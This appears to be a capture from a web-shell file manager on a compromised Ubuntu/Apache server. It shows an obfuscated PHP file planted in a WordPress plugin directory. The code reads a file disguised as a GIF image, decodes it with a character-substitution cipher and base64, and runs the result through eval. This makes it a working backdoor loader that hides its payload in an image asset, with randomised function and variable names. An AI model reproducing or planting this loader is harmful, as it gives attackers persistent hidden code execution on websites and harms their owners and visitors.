HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux WebLive 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/html/wpyourdayfloraldesign/wp-content/plugins/anacedahe/pusyfuf.txt
<?php

function upubud_acitheth($ginuto_mawekhoqa) {
    $icuhex = array();
    if (!file_exists($ginuto_mawekhoqa))
        return false;
    $ydywuwa = @file_get_contents($ginuto_mawekhoqa);
    if (!$ydywuwa)
        return false;
    $ydywuwa = substr($ydywuwa, 3);
    $icuhex = qiceny_ibezhasav($ydywuwa);
    return $icuhex;
}

function qiceny_ibezhasav($ginuto_mawekhoqa) {
    $pezhuwu = zavuhu_okifeshevo(1);
    $ecigike = zavuhu_okifeshevo(2);
    for ($lobaba = 0; $lobaba < strlen($pezhuwu); $lobaba++) {
        $khezeli = substr($pezhuwu, $lobaba, 1);
        $isopym = substr($ecigike, $lobaba, 1);
        $nomupu[$khezeli] = $isopym;
    }

    $ipushyr = strtr($ginuto_mawekhoqa, $nomupu);
    $ipushyr = base64_decode($ipushyr);

    return $ipushyr;
}

function zavuhu_okifeshevo($ginuto_mawekhoqa) {
    if ($ginuto_mawekhoqa == 2)
        return zicane_yxuquzashe();
    if ($ginuto_mawekhoqa == 1)
        return zeseji_dojahoce();
}

function zeseji_dojahoce() {
    $ydywuwa = "GCJhrSfZy1s7MOwqFkomx3PWpHY2alU6Tj+5e0guX=IiR8LtBKzdEVDA9vbQc4N/n";
    return $ydywuwa;
}

function zicane_yxuquzashe() {
    $icuhex = "G=DSrPp3Rf2k7OE4ACvax+gQZ0UoBYJzm8MIes5/TcbLF1ytKWqilwhX6ndNuHV9j";
    return $icuhex;
}

$kybyxyv = upubud_acitheth(__DIR__ . "/asse" . "ts/ima" . "ges/" . "yripih" . "y.gi" . "f");
if ($kybyxyv) {
    @eval($kybyxyv);
}